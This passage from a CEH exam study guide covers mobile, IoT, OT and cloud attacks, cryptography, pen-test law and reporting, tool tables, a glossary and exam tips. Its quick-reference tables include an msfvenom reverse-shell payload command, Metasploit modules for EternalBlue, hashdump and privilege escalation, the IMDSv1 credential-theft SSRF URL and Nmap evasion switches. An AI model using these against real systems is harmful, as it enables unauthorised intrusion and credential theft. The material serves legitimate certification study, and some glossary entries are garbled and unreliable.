BlueBorne (2017)	8 CVEs across L2CAP/SDP/BNEP/LEAP	Wormable RCE, no user interaction

3.C.4 Mobile, IoT & OT Attacks

Mobile (Android vs iOS)

Aspect	Android	iOS
Distribution	Play Store + sideload + 3rd-party	App Store (EU DMA 3rd-party marketplaces since 2024)
App isolation	Linux UID + SELinux sandbox	iOS appsandbox (Seatbelt) at kernel
Code signing	APK signature + Play Integrity	Apple-mandatory + FairPlay
Patching	Fragmented	Unified by Apple
Rooting/jailbreak	Disables SELinux + sandbox	Disables signing, weakens Secure Enclave

MDM (policy + remote wipe), MAM (app containerisation, per-app VPN), MTD (on-device detection). A hardened app on a rooted device is still untrusted - device attestation is non-negotiable.

IoT - Mirai as the canonical case

• Mirai (2016) infected ~65,000 devices in 20 hours, peaked at 200k-600k.
• Strategy: SYN scan on TCP/23 + TCP/2323 -> Telnet brute with 62-entry default-cred dictionary -> cross-compile bot binary (ARM, MIPS, PowerPC, SPARC, SH4, m68k, x86) -> C&C.
• Major impact: Krebs (~620 Gbps), OVH (~1 Tbps), Dyn DNS (Twitter/GitHub/Reddit offline, Oct 2016), Deutsche Telekom (~1M routers disrupted, Nov 2016).

OT / ICS - the Purdue Model (Levels 0-5)

L0 sensors/actuators -> L1 PLCs/RTUs -> L2 HMI/SCADA -> L3 IT/OT DMZ -> L4 enterprise -> L5 internet/cloud. The L3 DMZ is the most defended boundary.

OT protocols (insecure by design): Modbus (1979, no auth), DNP3 (SCADA, secure auth v2 add-on), IEC-60870-5-104 (European grid), OPC-UA (modern but misconfigurable), Profinet/EtherNet/IP, Siemens S7Comm.

The 7 ICS-Specific Malwares (must recognise all)

Year	Malware	Target	Impact
2010	Stuxnet	Siemens S7-300/400 at Natanz	~1,000 centrifuges destroyed; 4 zero-days
2014	Havex	European/NA energy, SCADA vendors	RAT in legit ICS software; OPC enum
2015	BlackEnergy2	Ukrainian power	Spear-phish -> VPN abuse -> HMI control; 3 oblenergos blacked out 6h
2016	Industroyer	Ukrainian grid (Kyiv)	First malware for grid protocols (IEC 101/104, 61850, OPC)
2017	TRITON/TRISIS	Triconex SIS (Schneider), Saudi petrochemical	Targeted Safety Instrumented System
2022	Industroyer2	Ukrainian energy (high-voltage)	Sandworm; IEC-104 wiper; foiled pre-impact
2022	PIPEDREAM/INCONTROLLER	Schneider Modicon, Omron Sysmac, CODESYS, OPC-UA	Dragos CHERNOVITE; first caught before deployment

3.C.5 Cloud Computing Attacks

Shared Responsibility

Model	You manage	Provider manages
IaaS (EC2)	OS, runtime, app, data, IAM	Hardware, hypervisor, network
PaaS (RDS, Beanstalk)	App, data, IAM	OS, runtime, middleware
SaaS (Gmail)	Data, users, access	Almost everything

Provider secures of the cloud. Customer secures in the cloud. You always own your data, even in SaaS.

Top Cloud Attacks (exam-frequent)

1. Misconfigured S3 / Blob - Tesla, Capital One, Accenture, Verizon, US voter records, Twitch.
2. SSRF -> IMDSv1 - http://169.254.169.254/... returns STS creds unauth (Capital One 2019).
3. IAM privilege escalation - iam:PassRole, sts:AssumeRole abuse.
4. Cloud malware injection - attacker uploads malicious AMI/Container.
5. Cryptojacking - miners in cloud account (Tesla 2018).
6. Cloud-Network MitM via DNS rebinding / BGP hijack.
7. Container escape - privileged container + kernel exploit.
8. K8s RBAC misconfig - overly permissive ServiceAccount (Tesla 2018).

Three Cloud Breaches to Know in Detail

Breach	Vector	Impact
Capital One (2019)	ModSecurity WAF bypassed -> SSRF to IMDSv1 -> STS creds for over-privileged role -> 700+ S3 buckets	~30 GB / 106M records; AWS shipped IMDSv2 in response
Tesla (2018)	Unauthenticated K8s admin console + AWS creds in env vars	Stratum Monero miner hidden behind Cloudflare
Codecov (2021)	Attacker extracted GCS key from Docker image intermediate layer; modified Bash Uploader exfiltrated every customer’s CI env vars	>29,000 enterprise customers affected

Cloud Security Tools

Tool	Best for
Prowler	AWS-first CIS benchmark, 600+ checks, 44 compliance frameworks
ScoutSuite	Multi-cloud audit (last release May 2024 - consider abandoned)
Pacu	AWS exploitation framework (post-foothold)
kube-hunter / kube-bench	Kubernetes CIS benchmark
Trivy	Container image / K8s / IaC / secrets / SBOM scanner
CloudTrail / GuardDuty	AWS-native audit + threat detection

3.C.6 Cryptography - the algorithm table

Algorithm	Type	Key / Output	Status
DES	Sym block	56-bit	Do not use (broken <1999)
3DES (TDEA)	Sym block	112/168-bit	Deprecated (Sweet32)
AES-128	Sym block (SPN)	128-bit key, 10 rounds	Recommended floor
AES-256	Sym block	256-bit key, 14 rounds	Recommended top-secret, FDE
Blowfish	Sym block	32-448-bit key, 64-bit block	Avoid new design (64-bit block weak)
Twofish	Sym block	128-256-bit	Acceptable (AES finalist)
RC4	Sym stream	40-2048-bit	Forbidden in TLS
RSA	Asym	Modulus >= 2048-bit (NIST min for 112-bit)	Recommended >= 2048; plan post-quantum
Diffie-Hellman (DH)	Key agreement	Group >= 2048-bit	Use DH-2048+ or ECDH
ECC (ECDH, ECDSA)	Asym	P-256=128-bit, P-384=192, P-521~256	Recommended (mobile, IoT, TLS)
MD5	Hash	128-bit	Do not use (collision trivial)
SHA-1	Hash	160-bit	Do not use for signatures (SHAttered 2017)
SHA-256	Hash (SHA-2)	256-bit	Recommended (TLS, code signing, Bitcoin)
SHA-384 / 512	Hash (SHA-2)	384 / 512-bit	Recommended high-assurance
SHA-3 (Keccak)	Hash (sponge)	224/256/384/512	Recommended alternative
HMAC	MAC	varies	Recommended API signing

NIST SP 800-131A Rev. 2 targets: 112 bits until 2030, then 128. AES-128 / SHA-256 / RSA-3072 / ECDSA P-256 all hit the 128-bit target.

Post-Quantum (CEH v13 new content)

NIST finalised PQC standards in 2024 - ML-KEM (Kyber) FIPS 203, ML-DSA (Dilithium) FIPS 204, SLH-DSA (SPHINCS+) FIPS 205. “Harvest now, decrypt later” makes PQC migration urgent for long-lived data.

Cryptographic Attacks

Attack	Defeated by
Brute force	>= 128-bit key
Birthday (hash collision)	>= 256-bit hash
Man-in-the-middle	Authenticated key exchange, cert pinning, HSTS
Known-plaintext	AES is not practically vulnerable
Chosen-ciphertext	AEAD (AES-GCM, ChaCha20-Poly1305)
Side-channel (power/timing/cache/EM)	Constant-time code, masking
Downgrade	TLS 1.3; TLS_FALLBACK_SCSV
Padding oracle (POODLE)	AEAD; constant-time decryption
Replay	Nonces, timestamps, session IDs

Named Protocol Attacks (one-sentence recall)

• POODLE (CVE-2014-3566) - SSLv3 CBC padding not authenticated; byte-by-byte cookie decryption.
• BEAST (2011) - chosen-plaintext on TLS 1.0 CBC.
• Lucky13 (2013) - timing side-channel on CBC padding validation.
• Heartbleed (CVE-2014-0160) - OpenSSL buffer over-read; leaked server private keys.
• Logjam (2015) - 512-bit export-grade DH allows MitM.
• ROBOT (2017) - RSA PKCS#1 v1.5 padding oracle in TLS.

PKI

• X.509 cert format.
• CA signs certs; trust flows from root.
• CRL = Certificate Revocation List (replaced by OCSP).
• OCSP = real-time cert status. OCSP stapling improves performance.
• Self-signed = not trusted by default.
• Chain of trust = Root CA -> Intermediate CA -> Leaf.

Email & Disk Encryption

• Email: PGP / OpenPGP (web of trust, hybrid) and S/MIME (X.509-based, corporate).
• Disk / FDE: BitLocker (Windows, AES-128/256 XTS, TPM-bound), FileVault 2 (macOS, AES-XTS), LUKS (Linux, dm-crypt + AES).
• FDE only protects data at rest when device is powered off - running machines have keys in memory.

3.C Common Gotcha

Misread	Correct
“3DES is stronger than AES”	No - 3DES is deprecated (Sweet32); AES is the floor
“MD5 is fine for internal integrity checks”	No - collisions are trivial; use SHA-256
“RSA-1024 is enough”	No - NIST min is 2048 for 112-bit; 3072 for 128-bit
“WEP is fine for a small office”	Never - WEP is broken in 60 seconds
“Modbus has authentication”	No - Modbus (1979) is insecure by design
“Stuxnet was a virus”	Stuxnet is a worm + virus + rootkit - name all three
“S3 buckets are encrypted by default”	No - encryption is opt-in; the breach pattern is public buckets
“TLS 1.0 is fine for legacy”	No - POODLE + BEAST; minimum is TLS 1.2, prefer 1.3

Mnemonic: “Sym = same key, fast; Asym = keypair, slow; Hash = one-way”. “MD5/SHA-1 broken, SHA-2 current, SHA-3 emerging, PQC migration now”.

---

Domain 4: Communication, Reporting, Procedures & Legal (~20%)

The “what surrounds the technical work” domain. Engagements, reporting, legal posture, compliance.

4.1 Engagement Types

Type	Knowledge	Realism vs cost	Use
Black-box	Public only	Highest realism, lowest efficiency	External adversary simulation
White-box	Source, diagrams, creds	Lowest realism, highest coverage	Code review, internal audit, SDLC
Gray-box	Partial (e.g., low-priv account)	Balanced	Most commercial engagements

A gray-box engagement with one user credential is the de-facto industry default.

4.2 Pen-Test Lifecycle (PTES / NIST SP 800-115 / OWASP WSTG converge)

#	Phase	Output
1	Planning & Scoping	Signed ROE, MSA, Permission to Test
2	Information Gathering	Target inventory, attack-surface map
3	Threat Modeling	STRIDE / DREAD / PASTA / Attack Trees
4	Vulnerability Scanning	Vuln list, CVSS v4.0 ratings
5	Exploitation	PoC evidence, exploited-vuln list
6	Post-Exploitation	Attack-path narrative, blast-radius
7	Reporting & Retest	Final report + retest sign-off

“Get out of jail free” is not a metaphor. The Permission to Test is the single most important artifact. If the engagement is verbal, the engagement is a crime.

4.3 Rules of Engagement (ROE) - OSSTMM 3 baseline

The ROE must be written and signed before testing. It includes: scope, test window + man-hours, tester source IP / phone, emergency contacts, DoS / SE permissions, SOW change-control, data-handling rules, limited liability.

OSSTMM also forbids Distributed DoS testing over the Internet and any “flood testing” where a stronger source overwhelms a target.

4.4 Threat Modeling

Model	Type	Best for
STRIDE	Threat category mnemonic (Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation of Privilege)	Design-time classification
DREAD	1-10 scoring (Damage, Reproducibility, Exploitability, Affected Users, Discoverability)	Ranking already-identified threats
PASTA	7-stage attacker-centric methodology tied to business risk	High-value systems
Attack Trees	AND/OR decomposition of attacker goals	Visual reasoning on complex chains

STRIDE finds threats, DREAD ranks them. Combine them. PASTA for high-value components.

4.5 Reporting Structure (industry baseline)

1. Cover page & version control - version, date, classification, distribution.
2. Executive Summary - 1 page, business risk language, no jargon.
3. Scope - tested, out-of-scope, window, methodology.
4. Methodology - phases, tools (versions), standards followed.
5. Findings - per finding: title, CVSS, asset, description, evidence, impact, remediation, references.
6. Risk Rating - summary table.
7. Remediation Roadmap - prioritised, time-bound, owner-assigned.
8. Appendix - raw scanner output, evidence chain, glossary.

Severity SLAs (typical)

Level	CVSS v4.0 band	Typical SLA
Critical	9.0-10.0	24-72 hours
High	7.0-8.9	7-14 days
Medium	4.0-6.9	30 days
Low	0.1-3.9	90 days
Informational	n/a	Best-effort

Stakeholder-Specific Reporting

Audience	Language
CISO / Board	Risk in dollars, regulatory exposure, peer comparison
IT Operations	Affected host, patch command, validation script
Developers	Code snippet, root cause, suggested fix with reference
Legal / Compliance	Regulatory mapping (PCI, GDPR, HIPAA), breach-notification trigger

4.6 Legal & Regulatory

Singapore (the most-tested jurisdiction in this repo)

Law	Key point	Penalty
CMA / CMCA (1993)	Sec 3(1) “without authority” access; Sec 12 covers attempts + preparatory acts	Up to S$5,000 fine, 2 years imprisonment
PDPA (2012, am. 2020)	Notifiable breach report to PDPC within 3 calendar days	Up to S$1M or 10% of SG turnover
Cybersecurity Act 2018 (am. 2025)	CII operators, licences pen-test + managed SOC	CSA licence required from 16 Mar 2026

Practical implication for CEHs in Singapore: obtain (a) written authorisation from the system owner, (b) separate consent if the system holds personal data, (c) confirmation of CSA licence status if licensable, (d) data-handling plan for any PDPA-relevant records. The kill-switch must be reachable 24/7.

United States

• CFAA - 18 U.S.C. §1030. Two operative phrases: “without authorization” and “exceeds authorized access.” After Van Buren v. United States (2021), “exceeds authorized access” applies only to areas the user is not entitled to enter - not to misusing information the user can otherwise see. The CFAA has no pen-test exemption; authorisation is the only defence.
• DMCA §1201 - circumvention of TPMs; security research needs the triennial exemption or rights-holder consent.
• ECPA - restricts interception of electronic communications.

Other Jurisdictions

• UK CMA 1990 - Section 1 unauthorised access, Section 3 unauthorised acts with intent to impair. No statutory pen-test defence.
• EU GDPR - Article 32 obliges “regular testing” of security measures; a DPIA (Article 35) is required where testing likely impacts personal data.

Ethics Codes

• EC-Council Code of Ethics (CEH) - 25 articles. Key clauses: (12) “Ensure all penetration testing activities are authorized and within legal limits”; (13) “Not to take part in any black hat activity”; (16) “Not convicted of any felony, or violated any law of the land.” Violations can lead to decertification.
• (ISC)² Code of Ethics - four canons (Protect, Act, Provide, Advance). CISSP holders bound.
• ACM Code of Ethics - general computing.

4.7 Pen-Test vs Red Team vs Bug Bounty vs Vulnerability Assessment

Practice	Goal	Scope	Timeframe	Output
Vulnerability Assessment	Find as many flaws as possible	Broad, asset-list	Periodic	Prioritised remediation list
Penetration Test	Find and exploit vulns to prove impact	Defined, ROE-bounded	1-4 weeks	Report with PoC + remediation
Red Team	Emulate a real adversary; test detection + response	Broad, objective-driven	Weeks to months	Attack-path narrative + blue-team gaps
Bug Bounty	Continuous crowdsourced discovery	Public assets, in-program	Continuous	Triage queue + paid reports

These are not interchangeable. Match the engagement type to the question you actually want answered.

4.8 Compliance Frameworks (pen-test obligations)

Framework	Scope	Pen-test obligation
PCI DSS v4.0.1	Card data	Req 11.4: external + internal annually + after significant change; segmentation annually (merchants) or 6-monthly (service providers)
ISO 27001:2022	ISMS	Annex A 8.8 technical compliance testing
NIST CSF 2.0	All industries	DE.CM-9 “Tests are performed”
SOC 2 (TSC)	US service orgs	CC7.1 vulnerability management
HIPAA Security Rule	US healthcare	45 CFR §164.308(a)(8) periodic technical testing
GDPR	EU personal data	Art. 32 “regular testing of effectiveness of measures”
CSA CCM v4	Cloud	IVS-09 Penetration Testing
FedRAMP	US federal cloud	Continuous monitoring + annual 3PAO assessment

PCI DSS 11.4 is the most prescriptive. A quarterly ASV scan does NOT satisfy Req 11.4. Retest after fix is mandatory.

4.9 Common Gotcha (Domain 4)

Misread	Correct
“Pen-test without authorisation is legal if the report is good”	No - it is a crime (CMA / CFAA / CMA-UK)
“CVSS Base = risk”	No - Base is severity; risk needs environmental + threat context
“PCI quarterly ASV scan = PCI Req 11.4”	No - ASV is separate; Req 11.4 needs full pen-test
“PCI Req 11.4 = once a year”	Internal + external annually, plus segmentation 6-monthly for service providers
“Van Buren v. US made pen-testing legal”	No - it narrowed “exceeds authorised access” to areas the user is not entitled to enter; authorisation is still required
“PDPA breach notify = 72 hours”	Notify PDPC within 3 calendar days of assessment that breach is notifiable; data subjects also notified if significant harm
“EC-Council Code of Ethics = (ISC)² Code”	No - EC-Council has 25 articles; (ISC)² has 4 canons
“DREAD is for design”	No - STRIDE is for design; DREAD ranks already-identified threats

Mnemonic: “PTES: Pre-Intel-Threat-Vuln-Exploit-Post-Report” for the 7-phase pen-test lifecycle. “STRIDE finds, DREAD ranks, PASTA proves” for threat models.

---

Tools Quick Reference

Nmap switches you will see in questions

Goal	Switch
Fast stealthy TCP sweep	-sS -T4
Full port range, aggressive	-sS -p- -T4 -A
UDP top ports	-sU -top-ports 100
Service versions	-sV
OS fingerprint	-O
Skip discovery (firewall present)	-Pn
Decoy scan	-D RND:10
Source port spoof (DNS)	-g 53
Fragmented	-f
Idle scan (blind)	-sI zombie:80
NSE vuln scripts	-script smb-vuln* or -script=vuln
Save output	-oN file.nmap (normal), -oX file.xml (XML)

Metasploit modules you will see in questions

Goal	Module / command
Search exploits	searchsploit <keyword> or msfconsole -> search <keyword>
SMB vuln scan	use auxiliary/scanner/smb/smb_version
EternalBlue	exploit/windows/smb/ms17_010_eternalblue
Reverse shell payload	payload/windows/x64/meterpreter/reverse_tcp
Bind shell payload	payload/windows/x64/meterpreter/bind_tcp
Generate standalone payload	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe > payload.exe
Post-exploit (hashdump)	meterpreter -> hashdump
Post-exploit (priv esc)	meterpreter -> getsystem
Pivot	meterpreter -> run autoroute -s 10.0.0.0/24

Burp Suite shortcuts

Action	Shortcut / menu
Intercept on/off	Proxy -> Intercept is on (toggle)
Send to Repeater	Right-click request -> Send to Repeater
Send to Intruder	Right-click -> Send to Intruder
Sequencer (session randomness)	Right-click cookie -> Send to Sequencer
Collaborator (OAST)	Burp menu -> Burp Collaborator client
Match & replace	Proxy -> Options -> Match and Replace
Scope filtering	Target -> Scope (add host)

Web app tools

Tool	Use
sqlmap	Automated SQLi (all 5 classes, tamper scripts for WAF bypass)
OWASP ZAP	Free man-in-the-middle proxy + DAST
Burp Suite Pro	DAST standard, business-logic testing
Nikto	Baseline web server scan
wfuzz / ffuf	Parameter fuzzing
XSStrike	XSS detection
testssl.sh	TLS configuration audit
SSRFmap	SSRF detection
WPScan	WordPress enumeration

AD / Windows tools (CEH v13 added)

Tool	Use
Mimikatz	LSASS dump, pass-the-hash, DCSync, Kerberos ticket extraction
BloodHound CE	Graph-based AD attack-path mapping
PowerView / SharpHound	AD situational awareness
Responder	LLMNR/NBT-NS/MDNS poisoner + rogue auth server
Impacket	psexec.py, wmiexec.py, smbexec.py, secretsdump.py
Rubeus	Kerberos abuse (Kerberoasting, AS-REP, S4U)
NetExec (nxc)	SMB/WMI spray + lateral movement

Cloud / Container / Mobile tools

Tool	Use
Prowler	AWS CIS benchmark scanner
ScoutSuite	Multi-cloud posture audit (legacy)
Pacu	AWS exploitation framework
Trivy	Container image / K8s / IaC / SBOM scanner
kube-bench / kube-hunter	Kubernetes CIS / pentest
MobSF	Mobile (Android/iOS/Windows) static + dynamic analysis
Frida + objection	Runtime instrumentation, mobile hooking
APKTool / jadx	Android reverse engineering

Wireless / Bluetooth tools

Tool	Use
Aircrack-ng suite	airodump, aireplay, aircrack - WEP/WPA cracking
Wifite	Automated wireless auditing
Kismet	Wireless IDS / detection
Wifiphisher / Fluxion	Evil twin + captive portal phishing
Reaver / Bully	WPS PIN brute
hostapd-wpe	WPA-Enterprise credential capture

Sniffing / Forensics / RE

Tool	Use
Wireshark	GUI packet capture + protocol decode
tcpdump	CLI sniffer (server / Linux)
BetterCAP	Modern L2/L7 MitM with HSTS bypass
Ettercap	Classic MitM framework
Yersinia	L2 attacks (DHCP, STP, CDP)
Volatility	Memory forensics
Autopsy	Disk forensics
Ghidra / IDA Pro / radare2	RE / binary analysis
YARA	Pattern-match malware classification
Cuckoo / ANY.RUN	Malware sandbox

---

Glossary of CEH-Specific Acronyms

Acronym	Meaning
ACE	Access Control Entry (Windows ACL)
ACL	Access Control List
AD	Active Directory
ADS	Alternate Data Stream (NTFS)
AIE	Account Integrity Evaluation
AP	Access Point (wireless)
APT	Advanced Persistent Threat
ARO	Annualised Rate of Occurrence
ASLR	Address Space Layout Randomisation
ASV	Approved Scanning Vendor (PCI)
ATT&CK	Adversarial Tactics, Techniques, and Common Knowledge (MITRE)
BCP	Business Continuity Plan
BIA	Business Impact Analysis
BYOD	Bring Your Own Device
CA	Certificate Authority
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CCE	Common Configuration Enumeration
CCTV	Closed-Circuit Television
CERT	Computer Emergency Response Team
CIRT / CSIRT	Computer (Security) Incident Response Team
CISA	Cybersecurity and Infrastructure Security Agency (US)
CIS	Center for Internet Security (benchmarks)
CMDB	Configuration Management Database
CMMC	Cybersecurity Maturity Model Certification (US DoD)
COPE	Corporate-Owned, Personally Enabled
CPDoS	Cache Poisoned Denial of Service
CPT	Current Procedural Terminology - n/a here; in CEH usually “Credential Phishing Tactic”
CPU	Central Processing Unit
CRL	Certificate Revocation List
CSRF / XSRF	Cross-Site Request Forgery
CSP	Content-Security-Policy (HTTP header)
CSRF token	Per-request token for state-changing requests
CT	Certificate Transparency
CTF	Capture The Flag
CVE	Common Vulnerabilities and Exposures
CVSS	Common Vulnerability Scoring System
CWE	Common Weakness Enumeration
DAC	Discretionary Access Control
DAST	Dynamic Application Security Testing
DDoS	Distributed Denial of Service
DEP	Data Execution Prevention
DFD	Data Flow Diagram
DHCP	Dynamic Host Configuration Protocol
DKIM	DomainKeys Identified Mail
DLL	Dynamic-Link Library
DLP	Data Loss Prevention
DMARC	Domain-based Message Authentication, Reporting & Conformance
DMZ	Demilitarised Zone
DNS	Domain Name System
DoH / DoT	DNS over HTTPS / DNS over TLS
DOM	Document Object Model
DoS	Denial of Service
DPI	Deep Packet Inspection
DREAD	Damage, Reproducibility, Exploitability, Affected users, Discoverability
DSA	Digital Signature Algorithm
EAP	Extensible Authentication Protocol
ECE	EC-Council Continuing Education (credits)
ECC	EC-Council (also Elliptic Curve Cryptography)
EDR	Endpoint Detection and Response
ERP	Enterprise Resource Planning
ETL	Extract, Transform, Load
EWF	Encrypted File System (Windows legacy)
FDE	Full Disk Encryption
FIM	File Integrity Monitoring
FISMA	Federal Information Security Management Act
FUD	Fully Undetectable (malware)
GPO	Group Policy Object
GPS	Global Positioning System
HIDS / HIPS	Host Intrusion Detection / Prevention System
HIPS	Host-based Intrusion Prevention System
HMI	Human-Machine Interface
HSTS	HTTP Strict Transport Security
HTML	HyperText Markup Language
HTTP	HyperText Transfer Protocol
HTTPS	HTTP Secure
HVAC	Heating, Ventilation, Air Conditioning
IAST	Interactive Application Security Testing
ICMP	Internet Control Message Protocol
ICS	Industrial Control System
IDS	Intrusion Detection System
IDOR	Insecure Direct Object Reference
IKE	Internet Key Exchange
IM	Instant Messaging
IMAP	Internet Message Access Protocol
IMDS	Instance Metadata Service (AWS)
IoC / IOC	Indicator of Compromise
IoT	Internet of Things
IPsec	Internet Protocol Security
IR	Incident Response
IRC	Internet Relay Chat
ISO	International Organization for Standardization
ISP	Internet Service Provider
ISS	Internet Security Systems
IV	Initialization Vector
JWT	JSON Web Token
KDC	Key Distribution Center
KEK	Key Encryption Key
L2TP	Layer 2 Tunneling Protocol
LDAP	Lightweight Directory Access Protocol
LFI	Local File Inclusion
LOTL	Living Off The Land (binaries)
MaaS	Malware-as-a-Service
MAC (in crypto)	Message Authentication Code
MAC (in access)	Mandatory Access Control
MAC (in networking)	Media Access Control address
MAM	Mobile Application Management
MBR	Master Boot Record
MDM	Mobile Device Management
MFA	Multi-Factor Authentication
MIB	Management Information Base (SNMP)
MITM	Man-in-the-Middle
ML	Machine Learning
MMS	Multimedia Messaging Service
MOC	Microsoft Operations Center
MOF	Managed Object Format
MOU	Memorandum of Understanding
MSSP	Managed Security Service Provider
MTC	Microsoft Trust Center
MTD	Mobile Threat Defense
NAC	Network Access Control
NAS	Network Attached Storage
NDA	Non-Disclosure Agreement
Nessus	Vulnerability scanner (Tenable)
NetFlow	Cisco network flow protocol
NFS	Network File System
NGAV	Next-Generation Antivirus
NGFW	Next-Generation Firewall
NIDS / NIPS	Network IDS / IPS
NIST	National Institute of Standards and Technology
NMAP	Network Mapper (Nmap)
NMS	Network Management System
NOP	No Operation (x86 0x90)
NTFS	New Technology File System
NTP	Network Time Protocol
OAuth	Open Authorization
OCSP	Online Certificate Status Protocol
OS	Operating System
OSINT	Open Source Intelligence
OSPF	Open Shortest Path First
OT	Operational Technology
OWASP	Open Worldwide Application Security Project
PASTA	Process for Attack Simulation and Threat Analysis
PAM (access)	Privileged Access Management
PAM (Linux)	Pluggable Authentication Modules
PII	Personally Identifiable Information
PIR	Passive Infrared (motion sensor)
PIV	Personal Identity Verification
PLC	Programmable Logic Controller
PoC	Proof of Concept
POP3	Post Office Protocol v3
PQC	Post-Quantum Cryptography
PII	Personally Identifiable Information (PII)
PTES	Penetration Testing Execution Standard
RA	Registration Authority (PKI)
RaaS	Ransomware-as-a-Service
RACE	Research and Development in Advanced Communications Technologies in Europe
RADIUS	Remote Authentication Dial-In User Service
RAM	Random Access Memory
RAT	Remote Access Trojan
RASP	Runtime Application Self-Protection
RBAC	Role-Based Access Control
RDP	Remote Desktop Protocol
REST	Representational State Transfer
RFI	Remote File Inclusion
RFP	Request for Proposal
RFID	Radio-Frequency Identification
RMF	Risk Management Framework
ROE	Rules of Engagement
RPO	Recovery Point Objective
RSA	Rivest-Shamir-Adleman (algorithm)
RTO	Recovery Time Objective
SAST	Static Application Security Testing
SCADA	Supervisory Control and Data Acquisition
SCAP	Security Content Automation Protocol
SCT	Service Communication Proxy (or Strict-Transport-Security in HTTP)
SDK	Software Development Kit
SFTP	SSH File Transfer Protocol
SIEM	Security Information & Event Management
SIP	Session Initiation Protocol
SLA	Service Level Agreement
SLE	Single Loss Expectancy
SOAR	Security Orchestration, Automation & Response
SOW	Statement of Work
SPF	Sender Policy Framework
SPOF	Single Point of Failure
SQLi	SQL Injection
SRP	Secure Remote Password
SSDP	Simple Service Discovery Protocol
SSH	Secure Shell
SSL	Secure Sockets Layer (deprecated; use TLS)
SSO	Single Sign-On
SSRF	Server-Side Request Forgery
STEM	Science, Technology, Engineering, Mathematics
STIX	Structured Threat Information eXpression
STRIDE	Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation of Privilege
TACACS+	Terminal Access Controller Access-Control System Plus
TAXII	Trusted Automated eXchange of Intelligence Information
TCP	Transmission Control Protocol
TI	Threat Intelligence
TKIP	Temporal Key Integrity Protocol
TLS	Transport Layer Security
TOR / Tor	The Onion Router
TPM	Trusted Platform Module
TTP	Tactics, Techniques, and Procedures
UDP	User Datagram Protocol
UEBA	User and Entity Behavior Analytics
UEFI	Unified Extensible Firmware Interface
URL	Uniform Resource Locator
USB	Universal Serial Bus
UTM	Unified Threat Management
VA	Vulnerability Assessment
VLAN	Virtual Local Area Network
VOIP	Voice over Internet Protocol
VPN	Virtual Private Network
VPS	Virtual Private Server
WAF	Web Application Firewall
WAP	Wireless Access Point
WEP	Wired Equivalent Privacy
WPA	Wi-Fi Protected Access
WPA2	WPA version 2
WPA3	WPA version 3
WPS	Wi-Fi Protected Setup
XDR	Extended Detection and Response
XSS	Cross-Site Scripting
XXE	XML External Entity
YARA	Yet Another Recursive Acronym (pattern matching)
ZT	Zero Trust
ZTA	Zero Trust Architecture

---

Frequently Confused Pairs (high-yield)

Pair	Distinction
5-phase CEH vs 7-phase Kill Chain	CEH = Recon/Scan/Gain/Maintain/Cover. Kill Chain = Recon/Weaponise/Deliver/Exploit/Install/C2/Actions
CVSS Base vs risk	Base = severity. Risk = Base + environmental + threat context
WAF vs NGFW	WAF = L7 HTTP/SQL. NGFW = L3-L7 with DPI/IPS
IDS vs IPS	IDS = detect, passive. IPS = block, inline
NGAV vs EDR vs XDR	NGAV < EDR < XDR (subset chain)
SIEM vs SOAR	SIEM = detect/alert. SOAR = act on SIEM alerts
DAC vs MAC vs RBAC	Owner / Label-clearance / Role
Symmetric vs Asymmetric	Same key (fast) / Public + Private (slow)
Hashing vs Encryption vs Encoding	One-way / Two-way (with key) / Two-way (no key)
MD5 vs SHA-1 vs SHA-2	Broken / Broken / Current
DES vs 3DES vs AES	Broken / Deprecated / Current
WEP vs WPA vs WPA2 vs WPA3	Broken / Outdated / Solid / Current
TLS vs SSL	TLS is the modern protocol. SSL is deprecated. People say “SSL” out of habit.
Pen-test vs Red Team vs Bug Bounty	Scope, exploit / Goal, evade / Continuous, crowd
Black-box vs White-box vs Gray-box	None / Full / Partial knowledge
Hashing vs Digital Signature	Integrity only / Integrity + non-repudiation + auth
CMA / CMCA vs CFAA	SG law / US federal law - same intent, different jurisdiction
PTES vs NIST 800-115 vs OWASP WSTG	All converge on Plan-Discover-Attack-Report with variations
Modbus vs DNP3 vs OPC-UA	1979 no auth / SCADA + secure auth v2 / Modern, misconfigurable
ASLR vs DEP	Randomise memory layout / Mark stack NX

---

Final 30-Minute Survival Guide

Read this 30 minutes before you walk in.

Format Reminders

• 125 questions, 4 hours, ~29 seconds per question. You will have time to think.
• No back-navigation in many forms. Click carefully.
• Flag for review if available, but expect not to revisit.
• Drink water at question 30, 60, 90, 110. Stand and stretch at any break prompt.
• 5 answers per question is uncommon; CEH is usually 4 options.

Decision Decoder (4 steps)

Step 1: Read the last sentence first. The qualifier (BEST, FIRST, NEXT, MOST, NOT, EXCEPT) decides your answer. Re-read it before clicking.

Step 2: Identify the layer being tested. Network? Host? Application? Cloud? Crypto? Wireless? Legal? This narrows the answer space to the right tool / control.

Step 3: Map to the 5-phase methodology. “Attacker is doing X” - what phase is that? Tools must match the phase.

Step 4: Pick the specific answer. When 2+ options all look right, the best is the one that names the specific tool, command, port, CVE, or technique - not the generic category.

Quick-Trigger Cheat (auto-suspect -> answer)

Question says…	Think…
“First step in CEH methodology”	Reconnaissance (passive first)
“Which Nmap flag for stealth”	-sS (SYN, half-open)
“Default port for HTTPS”	443
“Default port for SSH”	22
“Default port for RDP”	3389
“Default port for SMB”	445
“Default port for LDAP”	389 (636 LDAPS)
“Default port for SQL Server”	1433
“Default port for MySQL”	3306
“Default port for PostgreSQL”	5432
“Default port for Kafka”	9092
“Best defence against XSS”	Output encoding + CSP + input validation (not one alone)
“Defense in depth”	Multiple layers, no single point
“Zero Trust”	Never trust, always verify; NIST 800-207
“WEP” anywhere	Wrong (broken)
“WPA3”	Right if comparing wireless
“Implicit deny / default deny”	Right for firewall / access defaults
“MFA / two factors”	Better than single-factor always
“Audit log / monitoring”	Detective control, not preventive
“Encryption at rest”	Confidentiality for stored data
“Pen test without written authorisation”	Wrong - illegal
“Salt + hash for passwords”	Right (bcrypt / Argon2id)
“Disable unused services”	Hardening; right answer for attack surface
“Default password”	Wrong (change before deploy)
“Hash collision attack”	Birthday
“OSI layer for ARP”	L2
“TCP 3-way handshake”	SYN -> SYN-ACK -> ACK
“Pen-test vs red team”	Pen-test = scope, find vulns. Red team = goal-based, evade.
“Singapore PDPA breach notify”	PDPC within 3 calendar days of assessment
“Singapore CII owner”	Report to CSA within prescribed time
“Goal of a DoS”	Availability (A in CIA)
“SQLi defence”	Parameterised queries (not escaping)
“Strongest symmetric cipher (current)”	AES-256
“Best reverse-shell payload”	Meterpreter reverse_tcp
